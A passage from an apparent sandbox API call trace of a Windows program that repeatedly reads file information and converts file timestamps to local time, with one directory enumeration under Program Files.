lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.237] CloseHandle (hObject=0x174) returned 1 [0077.237] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.237] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.238] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.238] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.238] CloseHandle (hObject=0x174) returned 1 [0077.238] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.238] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.238] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.238] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.238] CloseHandle (hObject=0x174) returned 1 [0077.239] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.239] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.239] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.239] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.239] CloseHandle (hObject=0x174) returned 1 [0077.239] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.239] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.239] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.239] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.239] CloseHandle (hObject=0x174) returned 1 [0077.240] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.240] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.240] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.241] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.241] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.241] CloseHandle (hObject=0x174) returned 1 [0077.241] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.241] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.241] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.241] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.241] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.241] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.241] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.241] CloseHandle (hObject=0x174) returned 1 [0077.242] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.242] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.242] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.242] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.242] CloseHandle (hObject=0x198) returned 1 [0077.243] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.243] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.243] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.243] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.243] CloseHandle (hObject=0x198) returned 1 [0077.244] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.244] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.244] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.244] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.244] CloseHandle (hObject=0x198) returned 1 [0077.244] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.244] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.245] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.245] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.245] CloseHandle (hObject=0x198) returned 1 [0077.245] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.245] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.245] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.245] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.245] CloseHandle (hObject=0x198) returned 1 [0077.246] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.246] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.246] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.246] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.246] CloseHandle (hObject=0x198) returned 1 [0077.246] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.246] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.246] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.246] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.246] CloseHandle (hObject=0x198) returned 1 [0077.247] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.247] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.247] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.247] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.247] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.248] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.248] CloseHandle (hObject=0x198) returned 1 [0077.248] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.248] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.248] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.248] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.248] CloseHandle (hObject=0x198) returned 1 [0077.248] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.248] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.249] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.249] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.249] CloseHandle (hObject=0x198) returned 1 [0077.249] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0077.249] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0077.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0077.249] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0077.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0077.249] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0077.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0077.249] CloseHandle (hObject=0x198) returned 1 [0077.254] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab67c480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab67c480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.255] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.255] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.255] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.255] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.255] CloseHandle (hObject=0x174) returned 1 [0077.256] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.256] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.256] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.256] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.257] CloseHandle (hObject=0x174) returned 1 [0077.257] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.257] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.257] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.258] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.258] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.258] CloseHandle (hObject=0x174) returned 1 [0077.259] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.259] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.259] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.259] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.259] CloseHandle (hObject=0x174) returned 1 [0077.260] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.260] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.260] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.260] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.260] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.260] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.260] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.260] CloseHandle (hObject=0x174) returned 1 [0077.261] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.261] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.261] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.261] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.261] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.261] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.261] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.261] CloseHandle (hObject=0x174) returned 1 [0077.262] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.262] FileTimeToSystemTime (in: 